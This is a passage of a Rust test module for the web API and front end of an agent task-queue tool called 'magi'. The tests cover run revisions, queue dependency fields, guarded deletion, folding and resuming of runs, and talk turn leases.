21177        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21178            .await
21179            .unwrap()
21180            .0;
21181        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21182            .await
21183            .unwrap()
21184            .0;
21185        let talks_delta = talks_list(
21186            State(ui.clone()),
21187            query(Some(talks[0].id.clone())),
21188            header::HeaderMap::new(),
21189        )
21190        .await
21191        .unwrap()
21192        .0;
21193        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21194        eprintln!(
21195            "DELTA_PAYLOAD {}",
21196            serde_json::json!({
21197                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21198                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21199                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21200                "counts": [queue.len(), runs.len(), talks.len()],
21201                "blocked": queue_delta.len() - 1,
21202            })
21203        );
21204    }
21205
21206    #[test]
21207    fn runs_revision_moves_when_deleting_an_older_run() {
21208        let temp = TempDir::new().expect("tempdir");
21209        let runs = temp.path().join("runs");
21210        std::fs::create_dir_all(&runs).expect("create runs dir");
21211
21212        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21213
21214        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21215        std::thread::sleep(Duration::from_millis(10));
21216        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21217
21218        let rev_before = runs_revision(&runs);
21219        assert!(rev_before > 0);
21220
21221        let old_dir = runs.join("20260901-100000-old1");
21222        std::fs::remove_dir_all(&old_dir).expect("remove old run");
21223
21224        let rev_after = runs_revision(&runs);
21225        assert_ne!(
21226            rev_before, rev_after,
21227            "deleting an older run must change the revision so other clients see the deletion"
21228        );
21229    }
21230
21231    /// A run's own `run.json` on an explicit `runs` root, bypassing the
21232    /// process-global home entirely — `RunState::save` writes through
21233    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
21234    /// (see `tests::home_lock` in the integration suite for why).
21235    fn write_state(runs: &FsPath, state: &RunState) {
21236        let dir = runs.join(&state.id);
21237        std::fs::create_dir_all(&dir).expect("run dir");
21238        std::fs::write(
21239            dir.join("run.json"),
21240            serde_json::to_string_pretty(state).expect("serialize run"),
21241        )
21242        .expect("write run.json");
21243    }
21244
21245    /// A seat starting or finishing is a write to `run.json` like any other,
21246    /// so it moves the same revision the change stream already watches —
21247    /// nothing new for `/api/events` to learn, but the property this feature
21248    /// depends on to reach the phone without a poll.
21249    #[test]
21250    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21251        let temp = TempDir::new().expect("tempdir");
21252        let runs = temp.path().join("runs");
21253        std::fs::create_dir_all(&runs).expect("create runs dir");
21254        let mut state = RunState::new(
21255            PathBuf::from("/repo/magi"),
21256            "main".to_owned(),
21257            "0123456789abcdef".to_owned(),
21258            "task".to_owned(),
21259            Config::default(),
21260        );
21261        state.id = "20260902-100000-c0de".to_owned();
21262        write_state(&runs, &state);
21263
21264        let rev_idle = runs_revision(&runs);
21265        std::thread::sleep(Duration::from_millis(10));
21266        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21267        write_state(&runs, &state);
21268        let rev_started = runs_revision(&runs);
21269        assert_ne!(
21270            rev_idle, rev_started,
21271            "a seat starting must move the revision"
21272        );
21273
21274        std::thread::sleep(Duration::from_millis(10));
21275        state.seat_finished("judge-1");
21276        write_state(&runs, &state);
21277        let rev_finished = runs_revision(&runs);
21278        assert_ne!(
21279            rev_started, rev_finished,
21280            "and clearing it again must move the revision a second time"
21281        );
21282    }
21283
21284    #[tokio::test]
21285    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21286        // `TaskView` flattens `Task`, so this is really asserting that
21287        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
21288        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
21289        // never touched web.rs, so nothing here caught it if it had.
21290        let fx = Fixture::start().await;
21291        let q = fx.queue();
21292
21293        let mut t = Task::new(
21294            "Task".to_owned(),
21295            "Instruction".to_owned(),
21296            PathBuf::from("/repo"),
21297            Source::Human,
21298        );
21299        t.block(
21300            vec!["20260101-000000-dead".to_owned()],
21301            Some("waiting on Task 1".to_owned()),
21302        );
21303        t.answers.push(crate::queue::AnsweredQuestion {
21304            question: "Which backend?".to_owned(),
21305            answer: "SQLite".to_owned(),
21306        });
21307        q.put(&mut t).expect("put t");
21308
21309        let res = fx.get("/api/queue").await;
21310        assert_eq!(res.status, 200);
21311        let list = res.json();
21312        let view = list
21313            .as_array()
21314            .expect("array")
21315            .iter()
21316            .find(|v| v["id"] == t.id)
21317            .expect("task in list");
21318        assert_eq!(view["status_str"], "blocked");
21319        assert_eq!(
21320            view["blocked_by"],
21321            serde_json::json!(["20260101-000000-dead"])
21322        );
21323        assert_eq!(view["block_reason"], "waiting on Task 1");
21324        assert_eq!(view["answers"][0]["question"], "Which backend?");
21325        assert_eq!(view["answers"][0]["answer"], "SQLite");
21326
21327        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
21328        // but never `answers` - that is a settled decision, not state
21329        // describing the current block, so it survives.
21330        let res = fx
21331            .post(&format!("/api/queue/{}/hold", t.short()), None)
21332            .await;
21333        assert_eq!(res.status, 200);
21334        let held = res.json();
21335        assert_eq!(held["status_str"], "held");
21336        assert_eq!(held["blocked_by"], serde_json::json!([]));
21337        assert!(held["block_reason"].is_null());
21338        assert_eq!(held["answers"][0]["answer"], "SQLite");
21339    }
21340
21341    #[tokio::test]
21342    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21343        let fx = Fixture::start().await;
21344        let q = fx.queue();
21345        let mk = |title: &str| {
21346            Task::new(
21347                title.to_owned(),
21348                "Instruction".to_owned(),
21349                PathBuf::from("/repo"),
21350                Source::Human,
21351            )
21352        };
21353        let mut root = mk("root");
21354        root.hold_manual(Some("waiting".to_owned()));
21355        q.put(&mut root).unwrap();
21356        let mut mid = mk("mid");
21357        mid.block(vec![root.id.clone()], None);
21358        q.put(&mut mid).unwrap();
21359        let mut leaf = mk("leaf");
21360        leaf.block(vec![mid.id.clone()], None);
21361        q.put(&mut leaf).unwrap();
21362
21363        let list = fx.get("/api/queue").await.json();
21364        let find = |id: &str| {
21365            list.as_array()
21366                .unwrap()
21367                .iter()
21368                .find(|v| v["id"] == id)
21369                .unwrap()
21370                .clone()
21371        };
21372        let leaf_view = find(&leaf.id);
21373        assert_eq!(
21374            leaf_view["waits_on"],
21375            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21376        );
21377        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21378        assert_eq!(
21379            find(&mid.id)["waits_on"],
21380            serde_json::json!([format!("{} (held)", root.short())])
21381        );
21382        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21383    }
21384
21385    #[tokio::test]
21386    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21387        let fx = Fixture::start().await;
21388        let q = fx.queue();
21389
21390        // 1. A queued task with runs attached can be deleted.
21391        let mut t1 = Task::new(
21392            "Task 1".to_owned(),
21393            "Instruction 1".to_owned(),
21394            PathBuf::from("/repo"),
21395            Source::Human,
21396        );
21397        let run_id = "20260901-000000-r111";
21398        t1.runs.push(run_id.to_owned());
21399        write_run(&fx.runs(), run_id, RunStatus::Merged);
21400        q.put(&mut t1).expect("put t1");
21401
21402        // Delete by short id
21403        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21404        assert_eq!(res.status, 204);
21405        assert!(res.body.is_empty(), "204 No Content has no body");
21406        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21407        assert!(
21408            fx.runs().join(run_id).exists(),
21409            "run directory must not be deleted when its task is deleted"
21410        );
21411
21412        // 2. A task a live daemon is running is refused with 409.
21413        let mut t2 = Task::new(
21414            "Task 2".to_owned(),
21415            "Instruction 2".to_owned(),
21416            PathBuf::from("/repo"),
21417            Source::Human,
21418        );
21419        t2.status = TaskStatus::Running;
21420        q.put(&mut t2).expect("put t2");
21421        let mut beat = crate::daemon::Status::new();
21422        beat.current = vec![crate::daemon::Current {
21423            worker: None,
21424            task: t2.id.clone(),
21425            run: "20260901-000000-r222".to_owned(),
21426        }];
21427        beat.updated_at = jiff::Timestamp::now();
21428        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21429            .expect("publish a heartbeat");
21430        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21431        assert_eq!(res.status, 409);
21432        assert!(
21433            res.json()["error"]
21434                .as_str()
21435                .unwrap()
21436                .contains("live daemon")
21437        );
21438        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21439
21440        // 3. The same `running` status and an orphaned lock, with no daemon
21441        // behind either, is a leftover and deletable. Before this the phone
21442        // refused it for good: the status never changes on its own and
21443        // nothing drops a lock whose process is gone.
21444        // The daemon is killed: the file stays, the heartbeat stops.
21445        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21446        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21447            .expect("leave a stale heartbeat");
21448        let mut t3 = Task::new(
21449            "Task 3".to_owned(),
21450            "Instruction 3".to_owned(),
21451            PathBuf::from("/repo"),
21452            Source::Human,
21453        );
21454        t3.status = TaskStatus::Running;
21455        q.put(&mut t3).expect("put t3");
21456        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21457        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21458        assert_eq!(res.status, 204);
21459        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21460        assert!(
21461            q.claim(&t3.id).is_ok(),
21462            "the stale lock went with it, so the id is claimable again"
21463        );
21464
21465        // 4. Missing id returns 404
21466        let res = fx.delete("/api/queue/nonexistent").await;
21467        assert_eq!(res.status, 404);
21468    }
21469
21470    #[tokio::test]
21471    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21472        let fx = Fixture::start().await;
21473        let runs = fx.runs();
21474
21475        // 1. Finished and folded run can be deleted along with artifacts
21476        let run_id = "20260901-000000-fold";
21477        let mut state = RunState::new(
21478            PathBuf::from("/repo"),
21479            "main".to_owned(),
21480            "abc".to_owned(),
21481            "instruction".to_owned(),
21482            Config::default(),
21483        );
21484        state.id = run_id.to_owned();
21485        state.status = RunStatus::Merged;
21486        state.candidates.push(crate::run::Candidate {
21487            index: 0,
21488            label: 'A',
21489            agent: "a".to_owned(),
21490            branch: "b".to_owned(),
21491            worktree: PathBuf::from("/w"),
21492            summary: String::new(),
21493            stat: String::new(),
21494            files: 1,
21495            commits: 1,
21496            empty: false,
21497            failed: None,
21498            verified_noop: None,
21499            duration_ms: 0,
21500            folded: true,
21501        });
21502        let dir = runs.join(run_id);
21503        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21504        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21505            .expect("write artifact");
21506        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21507            .expect("write run.json");
21508
21509        // Delete by short id
21510        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21511        assert_eq!(res.status, 204);
21512        assert!(res.body.is_empty(), "204 has no body");
21513        assert!(!dir.exists(), "run directory and artifacts must be deleted");
21514
21515        // 2. A run a live daemon is working on is refused with 409. The
21516        // heartbeat is what makes it refusable: an unfinished run with no
21517        // daemon behind it is a leftover from a killed process, and case 1
21518        // above would otherwise be impossible to tell apart from this one.
21519        let run_running = "20260901-000000-rung";
21520        write_run(&runs, run_running, RunStatus::Prep);
21521        let mut beat = crate::daemon::Status::new();
21522        beat.current = vec![crate::daemon::Current {
21523            worker: None,
21524            task: "20260901-000000-task".to_owned(),
21525            run: run_running.to_owned(),
21526        }];
21527        beat.updated_at = jiff::Timestamp::now();
21528        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21529            .expect("publish a heartbeat");
21530        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21531        assert_eq!(res.status, 409);
21532        assert!(
21533            res.json()["error"]
21534                .as_str()
21535                .unwrap()
21536                .contains("live daemon"),
21537            "the refusal must say who is holding it"
21538        );
21539        assert!(
21540            runs.join(run_running).exists(),
21541            "a run in flight keeps its directory"
21542        );
21543
21544        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
21545        let run_unfolded = "20260901-000000-unfd";
21546        let mut state2 = RunState::new(
21547            PathBuf::from("/repo"),
21548            "main".to_owned(),
21549            "abc".to_owned(),
21550            "instruction".to_owned(),
21551            Config::default(),
21552        );
21553        state2.id = run_unfolded.to_owned();
21554        state2.status = RunStatus::Ready;
21555        state2.candidates.push(crate::run::Candidate {
21556            index: 0,
21557            label: 'A',
21558            agent: "a".to_owned(),
21559            branch: "b".to_owned(),
21560            worktree: PathBuf::from("/w"),
21561            summary: String::new(),
21562            stat: String::new(),
21563            files: 1,
21564            commits: 1,
21565            empty: false,
21566            failed: None,
21567            verified_noop: None,
21568            duration_ms: 0,
21569            folded: false,
21570        });
21571        let dir2 = runs.join(run_unfolded);
21572        std::fs::create_dir_all(&dir2).expect("create dir2");
21573        std::fs::write(
21574            dir2.join("run.json"),
21575            serde_json::to_string(&state2).unwrap(),
21576        )
21577        .expect("write run.json");
21578
21579        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21580        assert_eq!(res.status, 409);
21581        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21582        assert!(dir2.exists(), "unfolded run directory is kept");
21583
21584        // 4. Missing id returns 404
21585        let res = fx.delete("/api/runs/nonexistent").await;
21586        assert_eq!(res.status, 404);
21587    }
21588
21589    /// The queue tiles on the Stats tab must render even on a home with no
21590    /// runs at all: queue state is not derived from run history, so hiding
21591    /// the whole dashboard body behind "no runs yet" would drop the one
21592    /// thing this tab promises unconditionally (queued/running/held/done).
21593    /// A DOM-level test would need a browser this suite does not have, so
21594    /// this pins the same invariant textually: `renderStatsQueue` is called
21595    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
21596    /// block that gates the run-derived panels.
21597    #[test]
21598    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21599        let start = APP_JS
21600            .find("function renderStats() {")
21601            .expect("renderStats");
21602        let end = start
21603            + APP_JS[start..]
21604                .find("function statsTile(")
21605                .expect("the next top-level function");
21606        let body = &APP_JS[start..end];
21607
21608        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21609        let gate_end = gate_start
21610            + body[gate_start..]
21611                .find("}\n  renderStatsQueue")
21612                .expect("the gate's own closing brace, right before the unconditional call");
21613        let gated = &body[gate_start..gate_end];
21614
21615        assert_eq!(
21616            body.matches("renderStatsQueue(").count(),
21617            1,
21618            "renderStats must call renderStatsQueue exactly once: {body}"
21619        );
21620        assert!(
21621            !gated.contains("renderStatsQueue"),
21622            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21623             run-derived panels on an empty run history - the queue panel has to render \
21624             regardless: {gated}"
21625        );
21626    }
21627
21628    #[test]
21629    fn web_ui_delete_contract_in_front_end() {
21630        // 1. API block has both delete endpoints
21631        assert!(APP_JS.contains("deleteRun:"));
21632        assert!(APP_JS.contains("deleteTask:"));
21633
21634        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
21635        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21636            ..APP_JS.find("function renderRuns").unwrap()];
21637        assert!(!run_cards_slice.to_lowercase().contains("delete"));
21638
21639        // 3. Run detail has delete entry and reasons
21640        assert!(APP_JS.contains("renderRunDelete"));
21641        assert!(APP_JS.contains("runDeleteReason"));
21642        assert!(APP_JS.contains("magi fold"));
21643        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21644
21645        // 4. Two-step delete arming and focus on Cancel
21646        assert!(APP_JS.contains("cancel.focus"));
21647        assert!(APP_JS.contains("armedRunDelete"));
21648        assert!(APP_JS.contains("renderTaskDeleteBox"));
21649        assert!(APP_JS.contains("armed${cap(key)}"));
21650
21651        // 5. Running task has disabled delete
21652        assert!(APP_JS.contains("disabled: status === \"running\""));
21653    }
21654
21655    /// Every element a run card's updater reaches for must be in the `refs`
21656    /// the builder handed it.
21657    ///
21658    /// `createRunCard` builds its elements, appends them to the card, and then
21659    /// lists them again in `row.refs`. That second list is the one the updater
21660    /// uses, and nothing connects the two - an element can be built, appended
21661    /// and rendered, and still be missing from `refs`. `superseded` was, for
21662    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
21663    /// exception took `syncList` with it, and the deck showed
21664    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
21665    /// line is computed before the cards, which is why the failure looked like
21666    /// a server that had lost its runs rather than a front end that had
21667    /// stopped rendering them.
21668    ///
21669    /// A `cargo test` cannot execute the front end, so this reads the two
21670    /// halves out of the source and compares them as sets. It is not a check
21671    /// on the wording of either list: adding an element, renaming one, or
21672    /// reordering them all keeps this passing, and only using one the builder
21673    /// never published fails it.
21674    #[test]
21675    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21676        let build = APP_JS
21677            .find("function createRunCard")
21678            .expect("createRunCard exists");
21679        let update = APP_JS
21680            .find("function updateRunCard")
21681            .expect("updateRunCard exists");
21682        let end = APP_JS
21683            .find("function renderRuns")
21684            .expect("renderRuns exists");
21685
21686        // The builder's published set: the object literal assigned to `refs`.
21687        let builder = &APP_JS[build..update];
21688        let open = builder.find("refs = {").expect("createRunCard sets refs");
21689        let literal = &builder[open + "refs = {".len()..];
21690        let close = literal.find('}').expect("the refs literal is closed");
21691        let published: HashSet<&str> = literal[..close]
21692            .split(',')
21693            // `name` and `name: value` both bind `name`.
21694            .filter_map(|entry| entry.split(':').next())
21695            .map(str::trim)
21696            .filter(|name| !name.is_empty())
21697            .collect();
21698        assert!(
21699            published.len() > 5,
21700            "the refs literal did not parse into names: {published:?}"
21701        );
21702
21703        // What the updaters reach for: every `r.<name>`, where `r` is the
21704        // `const r = row.refs` alias both functions open with.
21705        let mut used: Vec<&str> = Vec::new();
21706        let updaters = &APP_JS[update..end];
21707        for (at, _) in updaters.match_indices("r.") {
21708            // `r` must be the whole identifier, not the tail of another one
21709            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21710            let before = updaters[..at].chars().next_back();
21711            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21712                continue;
21713            }
21714            let rest = &updaters[at + 2..];
21715            let len = rest
21716                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21717                .unwrap_or(rest.len());
21718            if len > 0 {
21719                used.push(&rest[..len]);
21720            }
21721        }
21722        assert!(
21723            used.len() > 5,
21724            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21725        );
21726
21727        let missing: Vec<&str> = used
21728            .iter()
21729            .copied()
21730            .filter(|name| !published.contains(name))
21731            .collect();
21732        assert!(
21733            missing.is_empty(),
21734            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21735             never put in `refs` - every card will throw and the list will \
21736             render empty under a count line that says otherwise. Published: \
21737             {published:?}"
21738        );
21739    }
21740
21741    #[tokio::test]
21742    async fn folding_from_the_phone_reports_what_it_removed() {
21743        let fx = Fixture::start().await;
21744        let runs = fx.runs();
21745
21746        // A run with no candidates has nothing to fold, which is a 200 with an
21747        // honest count rather than an error: the operator asked for the trees
21748        // to be gone and they are.
21749        let id = "20260901-000000-fold";
21750        write_run(&runs, id, RunStatus::Stalled);
21751        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21752        assert_eq!(res.status, 200);
21753        assert_eq!(res.json()["removed_count"], 0);
21754        assert_eq!(res.json()["run"], id);
21755        assert!(
21756            runs.join(id).exists(),
21757            "a fold keeps the run's record; only the worktrees go"
21758        );
21759    }
21760
21761    #[tokio::test]
21762    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21763        let fx = Fixture::start().await;
21764        let runs = fx.runs();
21765        let wt = fx.home.path().join("wt").join("magi").join("dead");
21766        let id = "20260901-000000-dead";
21767        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21768        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21769        std::fs::create_dir_all(&wt).expect("worktree dir");
21770
21771        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21772        assert_eq!(res.status, 200, "{}", res.body);
21773        assert!(
21774            res.json()["removed_count"].as_u64().unwrap() > 0,
21775            "the worktree this build could not read a state for still went"
21776        );
21777        assert!(
21778            !runs.join(id).exists(),
21779            "an unreadable run has no candidate list to fold selectively, so \
21780             the whole record goes - same as `magi fold` on the CLI"
21781        );
21782    }
21783
21784    #[tokio::test]
21785    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21786        let fx = Fixture::start().await;
21787        let runs = fx.runs();
21788        let wt = fx.home.path().join("wt").join("magi").join("gone");
21789        let id = "20260901-000000-gone";
21790        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21791        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21792        std::fs::create_dir_all(&wt).expect("worktree dir");
21793
21794        let res = fx.delete(&format!("/api/runs/{id}")).await;
21795        assert_eq!(res.status, 204, "{}", res.body);
21796        assert!(!runs.join(id).exists(), "the broken record is gone");
21797        assert!(!wt.exists(), "its worktree is gone too");
21798    }
21799
21800    #[tokio::test]
21801    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21802        let fx = Fixture::start().await;
21803        let runs = fx.runs();
21804        let id = "20260901-000000-live";
21805        write_run(&runs, id, RunStatus::Implementing);
21806
21807        let mut beat = crate::daemon::Status::new();
21808        beat.current = vec![crate::daemon::Current {
21809            worker: None,
21810            task: "20260901-000000-task".to_owned(),
21811            run: id.to_owned(),
21812        }];
21813        beat.updated_at = jiff::Timestamp::now();
21814        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21815            .expect("publish a heartbeat");
21816
21817        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21818        assert_eq!(res.status, 409);
21819        assert!(
21820            res.json()["error"]
21821                .as_str()
21822                .unwrap()
21823                .contains("live daemon"),
21824            "folding under a running agent would pull its worktree away"
21825        );
21826    }
21827
21828    #[tokio::test]
21829    async fn fold_merged_requires_a_pr_url() {
21830        let fx = Fixture::start().await;
21831        let runs = fx.runs();
21832        let id = "20260901-000000-nourl";
21833        write_run(&runs, id, RunStatus::Blocked);
21834
21835        let res = fx
21836            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21837            .await;
21838        assert_eq!(res.status, 400, "{}", res.body);
21839
21840        let blank = fx
21841            .post(
21842                &format!("/api/runs/{id}/fold-merged"),
21843                Some(r#"{"pr_url":"   "}"#),
21844            )
21845            .await;
21846        assert_eq!(blank.status, 400, "{}", blank.body);
21847    }
21848
21849    #[tokio::test]
21850    async fn fold_merged_is_404_for_an_unknown_run() {
21851        let fx = Fixture::start().await;
21852        let res = fx
21853            .post(
21854                "/api/runs/nosuchrun/fold-merged",
21855                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21856            )
21857            .await;
21858        assert_eq!(res.status, 404, "{}", res.body);
21859    }
21860
21861    #[tokio::test]
21862    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21863        let fx = Fixture::start().await;
21864        let runs = fx.runs();
21865        let id = "20260901-000000-livemerge";
21866        write_run(&runs, id, RunStatus::Blocked);
21867
21868        let mut beat = crate::daemon::Status::new();
21869        beat.current = vec![crate::daemon::Current {
21870            worker: None,
21871            task: "20260901-000000-task".to_owned(),
21872            run: id.to_owned(),
21873        }];
21874        beat.updated_at = jiff::Timestamp::now();
21875        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21876            .expect("publish a heartbeat");
21877
21878        let res = fx
21879            .post(
21880                &format!("/api/runs/{id}/fold-merged"),
21881                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21882            )
21883            .await;
21884        assert_eq!(res.status, 409, "{}", res.body);
21885        assert!(
21886            res.json()["error"]
21887                .as_str()
21888                .unwrap()
21889                .contains("live daemon"),
21890            "correcting a run's merge underneath a running agent would race \
21891             whatever it is doing to the same `status`/`merge` fields"
21892        );
21893    }
21894
21895    /// A pull request `gh` cannot even ask about (no such remote, no such
21896    /// repository) must never be recorded as a merge on a guess - the same
21897    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
21898    /// command line, reached here through the phone route instead.
21899    #[tokio::test]
21900    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21901        let fx = Fixture::start().await;
21902        let runs = fx.runs();
21903        let id = "20260901-000000-unconfirmed";
21904        write_run(&runs, id, RunStatus::Blocked);
21905
21906        let res = fx
21907            .post(
21908                &format!("/api/runs/{id}/fold-merged"),
21909                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21910            )
21911            .await;
21912        assert_eq!(res.status, 400, "{}", res.body);
21913        assert_eq!(
21914            read_run(&runs, id).unwrap().status,
21915            RunStatus::Blocked,
21916            "a pull request that could not be confirmed merged must leave \
21917             the run exactly where it was"
21918        );
21919    }
21920
21921    #[tokio::test]
21922    async fn terminal_runs_cannot_be_resumed() {
21923        let fx = Fixture::start().await;
21924        let runs = fx.runs();
21925
21926        for (status, word) in [
21927            (RunStatus::Merged, "merged"),
21928            (RunStatus::Ready, "ready"),
21929            (RunStatus::Failed, "failed"),
21930        ] {
21931            let id = format!("20260901-000000-{}", &word[..4]);
21932            write_run(&runs, &id, status);
21933            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21934            assert_eq!(res.status, 409, "{word} must not be resumable");
21935        }
21936    }
21937
21938    #[tokio::test]
21939    async fn resume_is_refused_while_the_loop_is_running() {
21940        let fx = Fixture::start().await;
21941        let runs = fx.runs();
21942        let stalled = "20260901-000000-stal";
21943        write_run(&runs, stalled, RunStatus::Stalled);
21944
21945        // The loop is busy with a *different* run, and that is still a
21946        // refusal: a manual resume must never race whatever the loop itself
21947        // is already driving, whether that is one run or several.
21948        let mut beat = crate::daemon::Status::new();
21949        beat.current = vec![crate::daemon::Current {
21950            worker: None,
21951            task: "20260901-000000-task".to_owned(),
21952            run: "20260901-000000-othr".to_owned(),
21953        }];
21954        beat.updated_at = jiff::Timestamp::now();
21955        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21956            .expect("publish a heartbeat");
21957
21958        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21959        assert_eq!(res.status, 409);
21960        let err = res.json()["error"].as_str().unwrap().to_owned();
21961        assert!(err.contains("othr"), "it names what the loop is on: {err}");
21962        assert!(err.contains("stop it first"), "{err}");
21963    }
21964
21965    #[test]
21966    fn a_run_cannot_be_resumed_twice_at_once() {
21967        let home = TempDir::new().expect("temp home");
21968        let ui = Ui::new(
21969            Queue::at(home.path().join("queue")),
21970            Questions::at(home.path().join("questions")),
21971            Talks::at(home.path().join("talks")),
21972            home.path().join("runs"),
21973            home.path().to_path_buf(),
21974            PathBuf::from("/repo"),
21975        )
21976        .with_worktrees_root(home.path().join("wt"));
21977        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21978        let again = ui.begin_resume("20260901-000000-once");
21979        assert!(again.is_err(), "a second tap must not start a second graph");
21980        drop(first);
21981        assert!(
21982            ui.begin_resume("20260901-000000-once").is_ok(),
21983            "and the claim is released when the attempt ends"
21984        );
21985    }
21986
21987    #[test]
21988    fn talk_thinking_tracks_only_its_held_turn_claim() {
21989        let home = TempDir::new().expect("temp home");
21990        let ui = Ui::new(
21991            Queue::at(home.path().join("queue")),
21992            Questions::at(home.path().join("questions")),
21993            Talks::at(home.path().join("talks")),
21994            home.path().join("runs"),
21995            home.path().to_path_buf(),
21996            PathBuf::from("/repo"),
21997        )
21998        .with_worktrees_root(home.path().join("wt"));
21999        let id = "20260901-000000-once";
22000
22001        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22002        let turn = ui.begin_talk_turn(id).expect("claim turn");
22003        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22004        assert!(
22005            !ui.is_thinking("20260901-000000-other"),
22006            "one talk's turn does not make another talk busy"
22007        );
22008        drop(turn);
22009        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22010    }
22011
22012    #[test]
22013    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22014        let home = TempDir::new().expect("temp home");
22015        let talks = Talks::at(home.path().join("talks"));
22016        let ui = Ui::new(
22017            Queue::at(home.path().join("queue")),
22018            Questions::at(home.path().join("questions")),
22019            talks.clone(),
22020            home.path().join("runs"),
22021            home.path().to_path_buf(),
22022            PathBuf::from("/repo"),
22023        )
22024        .with_worktrees_root(home.path().join("wt"));
22025        let id = "20260901-000000-cross";
22026
22027        let other = Talks::at(home.path().join("talks"))
22028            .claim_turn(id)
22029            .expect("claim")
22030            .expect("the other process wins");
22031        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22032        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22033        assert!(
22034            matches!(
22035                ui.begin_talk_turn_unless_pending(id).expect("start"),
22036                TalkTurnStart::Foreign
22037            ),
22038            "a foreign holder is refused, not queued behind"
22039        );
22040        assert!(
22041            !ui.talk_turns.lock().unwrap().live.contains(id),
22042            "a refused claim leaves no in-process entry behind"
22043        );
22044        drop(other);
22045        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22046        assert!(talks.turn_held(id), "the web turn holds the lease");
22047        drop(turn);
22048        assert!(
